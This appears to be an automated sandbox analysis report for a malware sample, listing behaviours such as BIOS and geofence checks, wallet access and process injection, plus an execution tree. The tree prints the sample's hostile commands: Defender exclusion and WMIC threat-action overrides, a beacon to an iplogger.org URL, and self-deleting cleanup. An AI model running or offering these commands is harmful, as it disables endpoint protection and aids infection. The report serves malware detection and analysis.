djvu | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	KhkYpZow6fZlf370rcdwguOq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XsMEAen2pbi3wJP1f_WKHzVv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XsMEAen2pbi3wJP1f_WKHzVv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Pn_KoCZTUzCRwRr_9763U5cF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Pn_KoCZTUzCRwRr_9763U5cF.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	p3j94QgdrTsPxinTGAlxpNEl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XMBgngbUfCWlodQzKYNS652M.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	p3j94QgdrTsPxinTGAlxpNEl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XMBgngbUfCWlodQzKYNS652M.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	KhkYpZow6fZlf370rcdwguOq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6599093.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6599093.scr

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe

Loads dropped DLL 8 IoCs

pid	Process
5112	setup_install.exe
5112	setup_install.exe
5112	setup_install.exe
5112	setup_install.exe
5112	setup_install.exe
5112	setup_install.exe
4548	Sun1966fb31dd5a07.tmp
3644	dPip53HB8rb7PTfH5Vtzn3HT.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
7128	icacls.exe

Themida packer 8 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral5/files/0x000100000001ab6a-258.dat	themida
behavioral5/memory/3972-323-0x00000000012B0000-0x00000000012B1000-memory.dmp	themida
behavioral5/memory/3352-328-0x0000000000CF0000-0x0000000000CF1000-memory.dmp	themida
behavioral5/memory/4072-333-0x0000000000130000-0x0000000000131000-memory.dmp	themida
behavioral5/memory/3684-331-0x0000000000A20000-0x0000000000A21000-memory.dmp	themida
behavioral5/files/0x000100000001ab7b-284.dat	themida
behavioral5/files/0x000100000001ab81-283.dat	themida
behavioral5/files/0x000100000001ab6a-276.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 6 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	KhkYpZow6fZlf370rcdwguOq.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Pn_KoCZTUzCRwRr_9763U5cF.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	p3j94QgdrTsPxinTGAlxpNEl.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XMBgngbUfCWlodQzKYNS652M.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6599093.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	XsMEAen2pbi3wJP1f_WKHzVv.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 11 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ipinfo.io
23	ip-api.com
137	ipinfo.io
321	api.2ip.ua
288	ipinfo.io
315	api.2ip.ua
434	api.2ip.ua
20	ipinfo.io
138	ipinfo.io
242	ip-api.com
287	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs

pid	Process
4836	6599093.scr
2288	KhkYpZow6fZlf370rcdwguOq.exe
3972	XsMEAen2pbi3wJP1f_WKHzVv.exe
4072	Pn_KoCZTUzCRwRr_9763U5cF.exe
3352	p3j94QgdrTsPxinTGAlxpNEl.exe
3684	XMBgngbUfCWlodQzKYNS652M.exe
2756	2892003.scr

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3676 set thread context of 4320	3676	8693270.scr	160

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Company\NewProduct\cm3.exe	Q4NSp2DVSmW90BaCCRwp5t6f.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe	Q4NSp2DVSmW90BaCCRwp5t6f.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\inst001.exe	Q4NSp2DVSmW90BaCCRwp5t6f.exe
File opened for modification	C:\Program Files (x86)\Company\NewProduct\Uninstall.exe	Q4NSp2DVSmW90BaCCRwp5t6f.exe
File created	C:\Program Files (x86)\Company\NewProduct\Uninstall.ini	Q4NSp2DVSmW90BaCCRwp5t6f.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 26 IoCs

pid	pid_target	Process	procid_target
2340	1988	WerFault.exe	90
4160	1560	WerFault.exe	93
1744	1560	WerFault.exe	93
5272	1560	WerFault.exe	93
5868	1560	WerFault.exe	93
4256	4632	WerFault.exe	124
5832	4632	WerFault.exe	124
5212	3676	WerFault.exe	112
5872	4632	WerFault.exe	124
5748	4632	WerFault.exe	124
6156	1560	WerFault.exe	93
6592	4632	WerFault.exe	124
6916	1560	WerFault.exe	93
5248	6496	WerFault.exe	171
6200	1560	WerFault.exe	93
6820	6496	WerFault.exe	171
6224	6496	WerFault.exe	171
6236	6496	WerFault.exe	171
6860	6004	WerFault.exe	169
7056	6496	WerFault.exe	171
3388	6496	WerFault.exe	171
5968	4632	WerFault.exe	124
6260	4632	WerFault.exe	124
2576	1560	WerFault.exe	93
6352	1560	WerFault.exe	93
7860	6528	WerFault.exe	190

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral5/files/0x000100000001ab7e-282.dat	nsis_installer_1
behavioral5/files/0x000100000001ab7e-282.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	eE6UfZeqT1Kt7A6_A4aGY5Pj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	eE6UfZeqT1Kt7A6_A4aGY5Pj.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	eE6UfZeqT1Kt7A6_A4aGY5Pj.exe

Creates scheduled task(s) 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6592	schtasks.exe
8060	schtasks.exe
4644	schtasks.exe
9804	schtasks.exe
7224	schtasks.exe
8468	schtasks.exe
7908	schtasks.exe
7464	schtasks.exe
7232	schtasks.exe
2872	schtasks.exe
4768	schtasks.exe
6536	schtasks.exe
9688	schtasks.exe
10092	schtasks.exe
6968	schtasks.exe
10028	schtasks.exe
4764	schtasks.exe
10216	schtasks.exe

Delays execution with timeout.exe 6 IoCs

evasion

pid	Process
5360	timeout.exe
8936	timeout.exe
7708	timeout.exe
6840	timeout.exe
9152	timeout.exe
9584	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
6920	taskkill.exe
5644	taskkill.exe
4764	taskkill.exe
2752	taskkill.exe
9320	taskkill.exe
5064	taskkill.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	27	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe
3940	Sun1917b8fb5f09db8.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
996	eE6UfZeqT1Kt7A6_A4aGY5Pj.exe

Suspicious use of AdjustPrivilegeToken 63 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	1392	Sun19262b9e49ad.exe
Token: SeAssignPrimaryTokenPrivilege	1392	Sun19262b9e49ad.exe
Token: SeLockMemoryPrivilege	1392	Sun19262b9e49ad.exe
Token: SeIncreaseQuotaPrivilege	1392	Sun19262b9e49ad.exe
Token: SeMachineAccountPrivilege	1392	Sun19262b9e49ad.exe
Token: SeTcbPrivilege	1392	Sun19262b9e49ad.exe
Token: SeSecurityPrivilege	1392	Sun19262b9e49ad.exe
Token: SeTakeOwnershipPrivilege	1392	Sun19262b9e49ad.exe
Token: SeLoadDriverPrivilege	1392	Sun19262b9e49ad.exe
Token: SeSystemProfilePrivilege	1392	Sun19262b9e49ad.exe
Token: SeSystemtimePrivilege	1392	Sun19262b9e49ad.exe
Token: SeProfSingleProcessPrivilege	1392	Sun19262b9e49ad.exe
Token: SeIncBasePriorityPrivilege	1392	Sun19262b9e49ad.exe
Token: SeCreatePagefilePrivilege	1392	Sun19262b9e49ad.exe
Token: SeCreatePermanentPrivilege	1392	Sun19262b9e49ad.exe
Token: SeBackupPrivilege	1392	Sun19262b9e49ad.exe
Token: SeRestorePrivilege	1392	Sun19262b9e49ad.exe
Token: SeShutdownPrivilege	1392	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	1392	Sun19262b9e49ad.exe
Token: SeAuditPrivilege	1392	Sun19262b9e49ad.exe
Token: SeSystemEnvironmentPrivilege	1392	Sun19262b9e49ad.exe
Token: SeChangeNotifyPrivilege	1392	Sun19262b9e49ad.exe
Token: SeRemoteShutdownPrivilege	1392	Sun19262b9e49ad.exe
Token: SeUndockPrivilege	1392	Sun19262b9e49ad.exe
Token: SeSyncAgentPrivilege	1392	Sun19262b9e49ad.exe
Token: SeEnableDelegationPrivilege	1392	Sun19262b9e49ad.exe
Token: SeManageVolumePrivilege	1392	Sun19262b9e49ad.exe
Token: SeImpersonatePrivilege	1392	Sun19262b9e49ad.exe
Token: SeCreateGlobalPrivilege	1392	Sun19262b9e49ad.exe
Token: 31	1392	Sun19262b9e49ad.exe
Token: 32	1392	Sun19262b9e49ad.exe
Token: 33	1392	Sun19262b9e49ad.exe
Token: 34	1392	Sun19262b9e49ad.exe
Token: 35	1392	Sun19262b9e49ad.exe
Token: SeDebugPrivilege	4196	Sun19e4ade31b2a.exe
Token: SeDebugPrivilege	3304	o2stHjPJatZtQ0nlSnPXqKOt.exe
Token: SeDebugPrivilege	2500	Sun195a1614ec24e6a.exe
Token: SeDebugPrivilege	3300	powershell.exe
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeDebugPrivilege	2340	WerFault.exe
Token: SeRestorePrivilege	4160	WerFault.exe
Token: SeBackupPrivilege	4160	WerFault.exe
Token: SeBackupPrivilege	4160	WerFault.exe
Token: SeDebugPrivilege	752	Conhost.exe
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeDebugPrivilege	4160	WerFault.exe
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeDebugPrivilege	3676	8693270.scr
Token: SeDebugPrivilege	1744	WerFault.exe
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeShutdownPrivilege	2900	Process not Found
Token: SeCreatePagefilePrivilege	2900	Process not Found
Token: SeDebugPrivilege	5212	WerFault.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 5016	4796	setup_x86_x64_install.exe	69
PID 4796 wrote to memory of 5016	4796	setup_x86_x64_install.exe	69
PID 4796 wrote to memory of 5016	4796	setup_x86_x64_install.exe	69
PID 5016 wrote to memory of 5112	5016	setup_installer.exe	70
PID 5016 wrote to memory of 5112	5016	setup_installer.exe	70
PID 5016 wrote to memory of 5112	5016	setup_installer.exe	70
PID 5112 wrote to memory of 2872	5112	setup_install.exe	73
PID 5112 wrote to memory of 2872	5112	setup_install.exe	73
PID 5112 wrote to memory of 2872	5112	setup_install.exe	73
PID 5112 wrote to memory of 4244	5112	setup_install.exe	75
PID 5112 wrote to memory of 4244	5112	setup_install.exe	75
PID 5112 wrote to memory of 4244	5112	setup_install.exe	75
PID 5112 wrote to memory of 4260	5112	setup_install.exe	74
PID 5112 wrote to memory of 4260	5112	setup_install.exe	74
PID 5112 wrote to memory of 4260	5112	setup_install.exe	74
PID 5112 wrote to memory of 496	5112	setup_install.exe	102
PID 5112 wrote to memory of 496	5112	setup_install.exe	102
PID 5112 wrote to memory of 496	5112	setup_install.exe	102
PID 5112 wrote to memory of 756	5112	setup_install.exe	101
PID 5112 wrote to memory of 756	5112	setup_install.exe	101
PID 5112 wrote to memory of 756	5112	setup_install.exe	101
PID 5112 wrote to memory of 3196	5112	setup_install.exe	76
PID 5112 wrote to memory of 3196	5112	setup_install.exe	76
PID 5112 wrote to memory of 3196	5112	setup_install.exe	76
PID 2872 wrote to memory of 3300	2872	cmd.exe	77
PID 2872 wrote to memory of 3300	2872	cmd.exe	77
PID 2872 wrote to memory of 3300	2872	cmd.exe	77
PID 5112 wrote to memory of 3868	5112	setup_install.exe	100
PID 5112 wrote to memory of 3868	5112	setup_install.exe	100
PID 5112 wrote to memory of 3868	5112	setup_install.exe	100
PID 4244 wrote to memory of 3940	4244	cmd.exe	99
PID 4244 wrote to memory of 3940	4244	cmd.exe	99
PID 4244 wrote to memory of 3940	4244	cmd.exe	99
PID 5112 wrote to memory of 4172	5112	setup_install.exe	97
PID 5112 wrote to memory of 4172	5112	setup_install.exe	97
PID 5112 wrote to memory of 4172	5112	setup_install.exe	97
PID 756 wrote to memory of 4196	756	cmd.exe	78
PID 756 wrote to memory of 4196	756	cmd.exe	78
PID 5112 wrote to memory of 3060	5112	setup_install.exe	79
PID 5112 wrote to memory of 3060	5112	setup_install.exe	79
PID 5112 wrote to memory of 3060	5112	setup_install.exe	79
PID 5112 wrote to memory of 508	5112	setup_install.exe	95
PID 5112 wrote to memory of 508	5112	setup_install.exe	95
PID 5112 wrote to memory of 508	5112	setup_install.exe	95
PID 5112 wrote to memory of 848	5112	setup_install.exe	82
PID 5112 wrote to memory of 848	5112	setup_install.exe	82
PID 5112 wrote to memory of 848	5112	setup_install.exe	82
PID 3196 wrote to memory of 996	3196	cmd.exe	120
PID 3196 wrote to memory of 996	3196	cmd.exe	120
PID 3196 wrote to memory of 996	3196	cmd.exe	120
PID 5112 wrote to memory of 1084	5112	setup_install.exe	81
PID 5112 wrote to memory of 1084	5112	setup_install.exe	81
PID 5112 wrote to memory of 1084	5112	setup_install.exe	81
PID 5112 wrote to memory of 1280	5112	setup_install.exe	229
PID 5112 wrote to memory of 1280	5112	setup_install.exe	229
PID 5112 wrote to memory of 1280	5112	setup_install.exe	229
PID 4260 wrote to memory of 1392	4260	cmd.exe	94
PID 4260 wrote to memory of 1392	4260	cmd.exe	94
PID 4260 wrote to memory of 1392	4260	cmd.exe	94
PID 3868 wrote to memory of 1560	3868	cmd.exe	93
PID 3868 wrote to memory of 1560	3868	cmd.exe	93
PID 3868 wrote to memory of 1560	3868	cmd.exe	93
PID 3060 wrote to memory of 1672	3060	cmd.exe	92
PID 3060 wrote to memory of 1672	3060	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Users\Admin\AppData\Local\Temp\7zS89335291\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS89335291\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2872
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3300
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun19262b9e49ad.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4260
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun19262b9e49ad.exe
        
        Sun19262b9e49ad.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1392
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        
        PID:4876
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:5064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun1917b8fb5f09db8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4244
    - - C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun1917b8fb5f09db8.exe
        
        Sun1917b8fb5f09db8.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Suspicious behavior: EnumeratesProcesses
        
        PID:3940
      - C:\Users\Admin\Documents\Q4NSp2DVSmW90BaCCRwp5t6f.exe
        
        "C:\Users\Admin\Documents\Q4NSp2DVSmW90BaCCRwp5t6f.exe"
        6⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:1148
        
        C:\Program Files (x86)\Company\NewProduct\cm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cm3.exe"
        7⤵
        
        PID:6644
        
        C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
        
        "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
        7⤵
        
        PID:6668
        
        C:\Program Files (x86)\Company\NewProduct\inst001.exe
        
        "C:\Program Files (x86)\Company\NewProduct\inst001.exe"
        7⤵
        
        PID:6684
      - C:\Users\Admin\Documents\o2stHjPJatZtQ0nlSnPXqKOt.exe
        
        "C:\Users\Admin\Documents\o2stHjPJatZtQ0nlSnPXqKOt.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3304
        
        C:\Users\Admin\Documents\o2stHjPJatZtQ0nlSnPXqKOt.exe
        
        C:\Users\Admin\Documents\o2stHjPJatZtQ0nlSnPXqKOt.exe
        7⤵
        
        PID:5396
      - C:\Users\Admin\Documents\XsMEAen2pbi3wJP1f_WKHzVv.exe
        
        "C:\Users\Admin\Documents\XsMEAen2pbi3wJP1f_WKHzVv.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3972
      - C:\Users\Admin\Documents\dPip53HB8rb7PTfH5Vtzn3HT.exe
        
        "C:\Users\Admin\Documents\dPip53HB8rb7PTfH5Vtzn3HT.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3644
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
        7⤵
        
        PID:3104
      - C:\Users\Admin\Documents\Pn_KoCZTUzCRwRr_9763U5cF.exe
        
        "C:\Users\Admin\Documents\Pn_KoCZTUzCRwRr_9763U5cF.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:4072
      - C:\Users\Admin\Documents\p3j94QgdrTsPxinTGAlxpNEl.exe
        
        "C:\Users\Admin\Documents\p3j94QgdrTsPxinTGAlxpNEl.exe"
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3352
      - C:\Users\Admin\Documents\ealz8glMXs4xojWpwvpC39WD.exe
        
        "C:\Users\Admin\Documents\ealz8glMXs4xojWpwvpC39WD.exe"
        6⤵
        Executes dropped EXE
        
        PID:3692
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im ealz8glMXs4xojWpwvpC39WD.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\ealz8glMXs4xojWpwvpC39WD.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:3632
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im ealz8glMXs4xojWpwvpC39WD.exe /f
        8⤵
        Kills process with taskkill
        
        PID:4764
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:6840
      - C:\Users\Admin\Documents\eE6UfZeqT1Kt7A6_A4aGY5Pj.exe
        
        "C:\Users\Admin\Documents\eE6UfZeqT1Kt7A6_A4aGY5Pj.exe"
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:996
        
        C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        7⤵
        
        PID:8128
        
        C:\Users\Admin\Documents\vuPlNf22Cv1SPRvJJsUWQRZd.exe
        
        "C:\Users\Admin\Documents\vuPlNf22Cv1SPRvJJsUWQRZd.exe"
        8⤵
        
        PID:8368
        
        C:\Users\Admin\Documents\Q5gGQH1emV5YJ1dvv25BxhZh.exe
        
        "C:\Users\Admin\Documents\Q5gGQH1emV5YJ1dvv25BxhZh.exe"
        8⤵
        
        PID:7456
        
        C:\Users\Admin\AppData\Local\Temp\7zS78E1.tmp\Install.exe
        
        .\Install.exe
        9⤵
        
        PID:1376
        
        C:\Users\Admin\AppData\Local\Temp\7zS79FA.tmp\Install.exe
        
        .\Install.exe /S /site_id "668658"
        10⤵
        
        PID:8728
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
        11⤵
        
        PID:6060
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
        12⤵
        
        PID:8940
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        13⤵
        
        PID:7096
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        14⤵
        
        PID:8452
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        15⤵
        
        PID:6916
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
        12⤵
        
        PID:8528
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        13⤵
        
        PID:5908
